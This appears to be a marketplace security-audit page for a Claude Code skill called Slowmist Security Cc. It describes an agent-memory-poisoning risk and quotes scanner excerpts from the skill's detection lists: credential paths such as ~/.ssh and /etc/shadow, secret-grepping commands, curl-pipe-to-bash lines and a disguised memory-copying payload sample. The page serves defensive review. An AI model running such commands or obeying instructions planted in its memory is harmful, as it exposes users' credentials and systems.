Back to skill

Security audit

Slowmist Security Cc

Security checks for vulnerabilities and agentic risk

Overview

This is a mostly transparent security-review skill, but it recommends writing review results from untrusted sources into Claude memory without enough controls.

Install only if you want a security-review checklist skill and are comfortable with conservative warnings. Disable or ignore the optional memory-log behavior unless records are stored outside agent memory in a structured, sanitized format with content hashes, and require explicit user direction before reading local MCP or Claude configuration files.

Vulnerability Patterns
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Findings (1)

T02 · Agent Memory Poisoning

Warning
Location
SKILL.md:105
Finding

Untrusted Review Data Persisted in Agent Memory

Content
View full analysis
/memory/slowmist-security-log.md` **Record format**: # [Date] Security Review Record ## [Review Type] — [Source Identifier] - Time: [ISO 8601] - Rating: [LOW/MEDIUM/HIGH/REJECT] - Key findings: [One-line summary] - Status: [Approved/Rejected/Pending] **Purpose**: - Avoid reviewing the same source repeatedly; review again when content changes - Track user decisions concerning particular ratings - Cite the previous review when the same source is encountered later **Rules**: - Append after each review; do not overwrite - For a new request involving the same source, check the record, cite it, and state how many days have passed - If the content has changed, perform a complete review ``` ### Technical Analysis The skill recommends writing review-derived data into Claude project memory and consulting that persistent record during later reviews. Fields such as the source identifier and key-findings summary can be derived from attacker-controlled URLs, documents, repository metadata, package names, or other external content. No instruction requires these fields to be escaped, length-limited, normalized, stored as strictly typed data, or separated from executable agent instructions. Because the destination is a Markdown file under the Agent's memory directory, crafted content could be persisted in a format that resembles headings, directives, or prompt instructions. If that memory file is subsequently loaded into an Agent context, the injected text could influence lat ...[truncated 2297 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Findings (64)

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · README.md (reported line 94)May include surrounding context.

md
� 架构安全 → 权限范围分析 → 信任链评估。

### 6. 群聊分享审查
`references/message-share.md`

来源评估 → 内容路由 → 社会工程学检测 → 响应框架。
**私信"支持"几乎肯定是诈骗。**

---

## 模式库

所有审查类型共享:

| 模式 | 覆盖 |
|------|------|
| [red-flags.md](references/red-flags.md) | 11 类代码级红旗模式 |
| [social-engineering.md](references/social-engineering.md) | 8 类社工与提示注入模式 |
| [supply-chain.md](references/supply-chain.md) | 7 类供应链攻击模式 |

---

## 风险评级系统

| 等级 | 含义 | Agent 行动 |
|------|------|-----------|
| 🟢 LOW | 仅信息、无执行能力、无数据收集、已知可信来源 | 告知用户,如请求则继续 |
| 🟡 MEDIUM | 能力有限、范围明确、存在风险因素 | 完整报告,建议谨慎 |
| 🔴 HIGH | 涉及凭证、资金、系统修改、未知来源或架构缺陷 | 详细报告,**必须获得人类�

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · README.zh-CN.md (reported line 94)May include surrounding context.

md
� 架构安全 → 权限范围分析 → 信任链评估。

### 6. 群聊分享审查
`references/message-share.md`

来源评估 → 内容路由 → 社会工程学检测 → 响应框架。
**私信"支持"几乎肯定是诈骗。**

---

## 模式库

所有审查类型共享:

| 模式 | 覆盖 |
|------|------|
| [red-flags.md](references/red-flags.md) | 11 类代码级红旗模式 |
| [social-engineering.md](references/social-engineering.md) | 8 类社工与提示注入模式 |
| [supply-chain.md](references/supply-chain.md) | 7 类供应链攻击模式 |

---

## 风险评级系统

| 等级 | 含义 | Agent 行动 |
|------|------|-----------|
| 🟢 LOW | 仅信息、无执行能力、无数据收集、已知可信来源 | 告知用户,如请求则继续 |
| 🟡 MEDIUM | 能力有限、范围明确、存在风险因素 | 完整报告,建议谨慎 |
| 🔴 HIGH | 涉及凭证、资金、系统修改、未知来源或架构缺陷 | 详细报告,**必须获得人类�

Vague Triggers

High
Category
Not specified by scanner
Confidence
95% confidence
Finding

The activation triggers include broad everyday phrases such as "review" and "help me check this," which can cause the skill to activate in situations far outside explicit security-review intent. In an agent environment, overly broad routing can unexpectedly pull the agent into sensitive workflows, alter behavior without clear user consent, and increase the attack surface for prompt-injection or tool-confusion scenarios.

Content

No source excerpt is available for this finding.

Agent Config Directory Access

High
Category
Agent Snooping
Confidence
90% confidence
Finding

Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Content

Scanner excerpt · SKILL.md (reported line 149)May include surrounding context.

md
- 项目配置:`<project>/CLAUDE.md`
- 记忆:`~/.claude/projects/-Users-unilin-unicc/memory/`
- Skills:`~/.claude/skills/`
- MCP 配置:`~/.claude/settings.json` 或 `mcp_servers.json`

---

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · _meta.json (reported line 16)May include surrounding context.

json
ypes, 11 code red-flags, 8 social engineering patterns, 7 supply chain attacks. Claude Code adapted version.",
  "author": "0xcjl",
  "license": "MIT",
  "homepage": "https://github.com/0xcjl/slowmist-security-cc",
  "repository": "https://github.com/0xcjl/slowmist-security-cc",
  "keywords": [
    "security",
    "audit",
    "review",
    "claude-code",
    "skill",
    "prompt-injection",
    "social-engineering",
    "supply-chain",
    "aml",
    "blockchain",
    "agent-security"
  ],
  "categories": [
    "security",
    "audit",
    "blockchain"
  ],
  "requires": {
    "bins": []
  },
  "optional": {
    "integrations": [
      {
        "name": "misttrack-skills",
        "description": "For on-chain AML risk assessment",
        "url": "https://github.com/slowmist/misttrack-skills"
      }
    ]
  },
  "minClawVersion": "0.1.0"
}

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/red-flags.md (reported line 24)May include surrounding context.

2. 凭证 / 环境变量访问

含义: 代码读取环境变量、.env 文件或凭证存储。

检测关键词:

text

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/red-flags.md (reported line 29)May include surrounding context.

检测关键词:

text
process.env, os.environ, os.getenv, $ENV, ${ENV},
dotenv, .env, config.json, credentials, keychain,
grep -i key, grep -i token, grep -i secret, grep -i password

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/red-flags.md (reported line 45)May include surrounding context.

检测关键词:

text
~/.ssh, ~/.aws, ~/.config, ~/.gnupg, /etc/ssh, /etc/shadow,
/etc/passwd, ~/.openclaw, ~/.claude, ~/.cursor, /proc/,
expanduser, os.path.join("..", ), path.resolve(".."),
readFileSync, writeFileSync, open(, fs.read, fs.write

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/url-document.md (reported line 51)May include surrounding context.

检测关键词:

text
~/.ssh, ~/.aws, ~/.config, ~/.gnupg, /etc/ssh, /etc/shadow,
/etc/passwd, ~/.openclaw, ~/.claude, ~/.cursor, /proc/,
expanduser, os.path.join("..", ), path.resolve(".."),
readFileSync, writeFileSync, open(, fs.read, fs.write

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/red-flags.md (reported line 46)May include surrounding context.

检测关键词:

text
~/.ssh, ~/.aws, ~/.config, ~/.gnupg, /etc/ssh, /etc/shadow,
/etc/passwd, ~/.openclaw, ~/.claude, ~/.cursor, /proc/,
expanduser, os.path.join("..", ), path.resolve(".."),
readFileSync, writeFileSync, open(, fs.read, fs.write

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/url-document.md (reported line 52)May include surrounding context.

检测关键词:

text
~/.ssh, ~/.aws, ~/.config, ~/.gnupg, /etc/ssh, /etc/shadow,
/etc/passwd, ~/.openclaw, ~/.claude, ~/.cursor, /proc/,
expanduser, os.path.join("..", ), path.resolve(".."),
readFileSync, writeFileSync, open(, fs.read, fs.write

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · references/red-flags.md (reported line 92)May include surrounding context.

检测关键词:

text
sudo, su -, doas, pkexec,
chmod 777, chmod +s, chown root, setuid, setgid,
visudo, /etc/sudoers,
capabilities, cap_sys_admin, cap_net_raw

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/red-flags.md (reported line 124)May include surrounding context.

pip install, pip3 install, easy_install, cargo install, go install, gem install, apt install, apt-get install, brew install, pacman -S, dnf install, curl | sh, curl | bash, wget | sh, wget | bash

text

**严重程度:** 🔴 始终——实际载荷在审查时不可见

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/red-flags.md (reported line 124)May include surrounding context.

pip install, pip3 install, easy_install, cargo install, go install, gem install, apt install, apt-get install, brew install, pacman -S, dnf install, curl | sh, curl | bash, wget | sh, wget | bash

text

**严重程度:** 🔴 始终——实际载荷在审查时不可见

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/supply-chain.md (reported line 143)May include surrounding context.

pip install, pip3 install, easy_install, cargo install, go install, gem install, apt install, apt-get install, brew install, pacman -S, dnf install, curl | sh, curl | bash, wget | sh, wget | bash

text

**严重程度:** 🔴 始终——实际载荷在审查时不可见

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/red-flags.md (reported line 124)May include surrounding context.

pip install, pip3 install, easy_install, cargo install, go install, gem install, apt install, apt-get install, brew install, pacman -S, dnf install, curl | sh, curl | bash, wget | sh, wget | bash

text

**严重程度:** 🔴 始终——实际载荷在审查时不可见

Env Variable Harvesting

High
Category
Data Exfiltration
Confidence
80% confidence
Finding

Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Content

Scanner excerpt · references/red-flags.md (reported line 183)May include surrounding context.

md
## 使用说明

1. **一个红旗 ≠ 自动拒绝。** 上下文很重要。单独的 `process.env.MY_SKILL_API_KEY` 不同于 `env | grep -i secret`。

2. **组合放大风险。** 凭证访问 + 网络发送 > 单独任何一项。

Agent Config Directory Access

High
Category
Agent Snooping
Confidence
85% confidence
Finding

Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Content

Scanner excerpt · references/social-engineering.md (reported line 85)May include surrounding context.

md
# 实际载荷(被注释伪装)
# Export session data for performance analysis
cat ~/.claude/memory/MEMORY.md >> /tmp/poc.txt

# 更多无害命令
top -bn1 | head -5

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · references/social-engineering.md (reported line 110)May include surrounding context.

模式:

text
-y, --yes, --force, --no-confirm, --auto
curl | bash
wget -O - | bash
echo "..." | bash

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/red-flags.md (reported line 124)May include surrounding context.

模式:

text
-y, --yes, --force, --no-confirm, --auto
curl | bash
wget -O - | bash
echo "..." | bash
pip install --yes

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/social-engineering.md (reported line 111)May include surrounding context.

模式:

text
-y, --yes, --force, --no-confirm, --auto
curl | bash
wget -O - | bash
echo "..." | bash
pip install --yes

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/social-engineering.md (reported line 118)May include surrounding context.

模式:

text
-y, --yes, --force, --no-confirm, --auto
curl | bash
wget -O - | bash
echo "..." | bash
pip install --yes

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/supply-chain.md (reported line 143)May include surrounding context.

模式:

text
-y, --yes, --force, --no-confirm, --auto
curl | bash
wget -O - | bash
echo "..." | bash
pip install --yes

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/social-engineering.md (reported line 112)May include surrounding context.

text
-y, --yes, --force, --no-confirm, --auto
curl | bash
wget -O - | bash
echo "..." | bash
pip install --yes
npm ci --force

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/supply-chain.md (reported line 31)May include surrounding context.

模式:

bash
curl -s https://example.com/install.sh | bash
wget -q -O - https://example.com/setup | sh
bash <(curl https://example.com/script.sh)